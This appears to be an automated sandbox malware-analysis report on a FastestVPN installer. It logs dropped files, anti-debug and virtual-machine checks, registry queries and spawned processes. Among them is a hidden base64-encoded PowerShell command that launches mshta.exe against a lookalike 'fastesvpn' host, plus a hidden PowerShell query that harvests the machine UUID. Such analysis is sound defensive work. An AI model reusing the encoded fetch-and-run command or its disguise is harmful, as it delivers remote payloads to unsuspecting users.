    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-MISRG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapinstallWin64.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-1G987.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-GBTCG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)Jump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeAPI coverage: 5.8 %
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeAPI coverage: 3.4 %
    Source: C:\Program Files\FastestVPN\FastestVPN.exe TID: 1284Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe TID: 5076Thread sleep time: -30000s >= -30000s
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe TID: 1368Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe TID: 424Thread sleep count: 582 > 30
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3796Thread sleep count: 2280 > 30
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3428Thread sleep count: 599 > 30
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5936Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3160Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 4368Thread sleep time: -30000s >= -30000s
    Source: C:\Program Files\FastestVPN\FastestVPN.exe TID: 4092Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Program Files\FastestVPN\FastestVPN.exe TID: 6420Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystemProduct
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,12_2_00007FF7FEE0E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD3630 GetWindowsDirectoryW,FindFirstFileW,FindNextFileW,FindClose,12_2_00007FF7FEDD3630
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0ECAC FindFirstFileExW,FindNextFileW,FindClose,12_2_00007FF7FEE0ECAC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E810 FindFirstFileExW,12_2_00007FF7FEE0E810
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,12_2_00007FF7FEE0E0B0
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_0103172D __EH_prolog,#540,#922,#858,#800,#2910,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,wcscmp,#535,#942,#942,#535,#942,#942,#800,FindNextFileW,FindClose,#800,40_2_0103172D
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_01031DDF __EH_prolog,#540,#925,#858,#800,#2910,wcslen,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,#540,#538,#922,#925,#858,#800,#800,#800,#925,#800,#858,#800,FindNextFileW,FindClose,#800,40_2_01031DDF
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100163B0 GetLogicalDriveStringsW,QueryDosDeviceW,GetDriveTypeW,EnterCriticalSection,LeaveCriticalSection,28_2_100163B0
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100013F0 ResetEvent,GetSystemInfo,28_2_100013F0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\Jump to behavior
    Source: svchost.exe, 00000033.00000002.3386617813.000001D2AEC2B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW`r%
    Source: svchost.exe, 00000012.00000003.2490284301.000001DF62917000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@ethernetwlanppipvmnetextension42}
    Source: powershell.exe, 0000002E.00000002.2622987174.0000000003383000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
    Source: svchost.exe, 00000012.00000003.2490074619.000001DF6291D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ,@vmnetextension
    Source: powershell.exe, 0000002E.00000002.2645162412.0000000007883000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: stringComputer System ProductComputer System ProductCL1EX64D802742-3099-9C0E-C19B-2A23EA1FC420VMware, Inc.NoneWinBB
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3385698629.0000000001044000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllo
    Source: mapMd1URzq.tmp, 00000002.00000002.2680012361.00000000033BF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\ro
    Source: powershell.exe, 0000002E.00000002.2622987174.0000000003383000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: stringComputer System ProductComputer System ProductCL1EX64D802742-3099-9C0E-C19B-2A23EA1FC420VMware, Inc.Noney*
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2586317312.000000000608C000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586520837.00000000067DC000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586520837.00000000067D0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3391234358.000001D2B4254000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
    Source: FastestVPN.exe, 00000024.00000002.3389039534.0000000001653000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000034.00000002.2673089941.0000000001657000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information queried: ProcessInformationJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess queried: DebugPort
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess queried: DebugPort
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0D9C4 IsDebuggerPresent,OutputDebugStringW,12_2_00007FF7FEE0D9C4
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD34B0 GetFullPathNameW,LoadLibraryW,GetProcAddress,GetLastError,GetLastError,FreeLibrary,FreeLibrary,12_2_00007FF7FEDD34B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE157E0 GetProcessHeap,12_2_00007FF7FEE157E0
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess token adjusted: Debug
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD7B18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_00007FF7FEDD7B18
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE06788 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_00007FF7FEE06788
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD8738 SetUnhandledExceptionFilter,12_2_00007FF7FEDD8738
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD8550 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_00007FF7FEDD8550
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_004054F3 _raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,28_2_004054F3
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_0040148B SetUnhandledExceptionFilter,28_2_0040148B
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_0040134A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,28_2_0040134A
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_00402D4D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,28_2_00402D4D
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100081EF _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,28_2_100081EF
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_1000B228 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,28_2_1000B228
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10007CCF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,28_2_10007CCF
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_0103DEE7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,40_2_0103DEE7
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeMemory allocated: page read and write | page guard

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Encrypted powershell cmdline option found
    Source: unknownProcess created: Base64 decoded Start-Process 'mshta.exe' -ArgumentList 'https://fastesvpn-s3-eu-north-1.11982
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_010383F6 __EH_prolog,#540,#538,#540,#540,#538,#2910,#861,#4197,#2755,#2910,#800,#800,#800,#800,#800,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#4124,#858,#800,#2910,#2910,#2910,#2755,#4272,#858,#800,#4197,#6563,#2910,#2755,#4272,#858,#800,#4197,#6563,#2910,#2755,#4272,#858,#800,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2756,#2910,swscanf,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#825,#4199,#2910,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,GetSecurityDescriptorLength,#823,GetLastError,#2910,#2910,LocalFree,LocalFree,GetLastError,#2910,#2910,#2910,#2755,#4272,#858,#800,#2910,_wtoi,#2910,#2755,#4272,#858,#800,#858,GetLastError,#2910,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#6278,#6279,wcscmp,#2910,swscanf,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#540,#540,#2755,#858,#861,#4272,#858,#800,#4124,#858,#800,#2910,wcscmp,#2910,#2910,LogonUserW,GetLastError,#2910,#2910,#800,#800,#800,#800,#2910,#2755,#4272,#858,#800,#858,#861,#861,GetLastError,#2910,#2910,#2910,#2755,#4272,#858,#800,#2755,#538,#4272,#858,#800,#4124,#858,#800,#2910,#2910,#858,GetLastError,#2910,#2910,#2910,#2755,#4272,#858,#800,#2755,#4272,#4124,#858,#800,#4197,#2910,#2910,#2910,#2910,#2910,#800,#537,#800,GetComputerNameW,#861,#927,#858,#800,#538,#922,#800,#800,#2910,#2910,#2910,#2910,#800,#2910,wcsncpy,#861,#861,#800,#2910,#2910,#2910,#2755,#4272,#858,#800,#2756,#2756,#2756,#2756,#2910,#2755,#4272,#858,#800,#5679,#861,#4273,#858,#800,#858,#941,#2910,#2755,#4272,#858,#800,#538,#925,#800,#2910,#2755,#4272,#858,#800,#2755,#4124,#858,#800,#4272,#858,#800,#2755,#540,#4272,#858,#800,#4124,#858,#800,#2756,#2756,#4124,#858,#800,#2910,#2910,wcscmp,GetComputerNameW,#861,#927,#858,#800,#538,#922,#800,#800,#2910,#2910,#2910,#2910,#2910,#800,#800,GetLastError,#2910,#2910,#2910,wcsncpy,wcsncpy,#2910,wcsncpy,#800,#800,#2755,#4272,#858,#800,#2755,#4124,#858,#800,#4272,#858,#800,#2910,#858,GetLastError,#2910,#2910,#858,GetLastError,#2910,#2910,#2910,#2910,#2910,#2755,#4272,#858,#800,#2755,#858,#861,#4124,#858,#800,#4272,#858,#800,#2910,#2910,#2910,#858,GetLastError,#2910,#2910,#2755,#4124,#858,#800,wcsncpy,#2910,GetLengthSid,GetLengthSid,#2910,#2910,#2910,#2755,#4272,#858,#800,#2756,#4124,#858,#800,#6278,#6279,#4272,#858,#800,GetLastError,#2910,#2910,#2910,swscanf,#2910,GetLengthSid,GetLengthSid,GetLengthSid,#2755,#4272,#858,#800,#858,GetLastError,#2910,#2755,#4272,#858,#800,#858,GetLastError,#2910,40_2_010383F6
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe install OemVista.inf tap0901Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "Windows 7" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\xcopy.exe xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\driversJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe -u fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe fastestvpndriverJump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2988 -ip 2988
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 1076
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe drvinst.exe "4" "0" "c:\users\user\appdata\local\temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "winsta0\default" "0000000000000100" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"
    Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand uwb0ageacgb0ac0auabyag8aywblahmacwagaccabqbzaggadabhac4azqb4aguajwagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaanaggadab0ahaacwa6ac8alwbmageacwb0aguacwb2ahaabgatahmamwataguadqatag4abwbyahqaaaatadealgaxadeaoqa4adia
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe drvinst.exe "4" "0" "c:\users\user\appdata\local\temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "winsta0\default" "0000000000000100" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"Jump to behavior
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmpBinary or memory string: Shell_TrayWnd
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE21B20 cpuid 12_2_00007FF7FEE21B20
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,12_2_00007FF7FEE07BF8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,12_2_00007FF7FEE07B7C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,12_2_00007FF7FEE07A70
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,12_2_00007FF7FEE1534C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,12_2_00007FF7FEE15478
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,12_2_00007FF7FEE15120
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,12_2_00007FF7FEE15278
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,12_2_00007FF7FEE14E0C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,12_2_00007FF7FEE14D3C
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,12_2_00007FF7FEE14ED0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: try_get_function,GetLocaleInfoW,12_2_00007FF7FEE08B44
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: EnumSystemLocalesW,12_2_00007FF7FEE14CB8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,12_2_00007FF7FEE14960
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: GetLocaleInfoA,28_2_00406C2C
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: GetLocaleInfoA,28_2_10011E31
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD4820 SetupDiGetDeviceRegistryPropertyW,GetLastError,SetupDiGetDeviceRegistryPropertyW,12_2_00007FF7FEDD4820
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
    Source: C:\Windows\System32\reg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId4
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeQueries volume information: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\drvinst.exeQueries volume information: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SingleInstanceApplication.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.DI.dll VolumeInformation
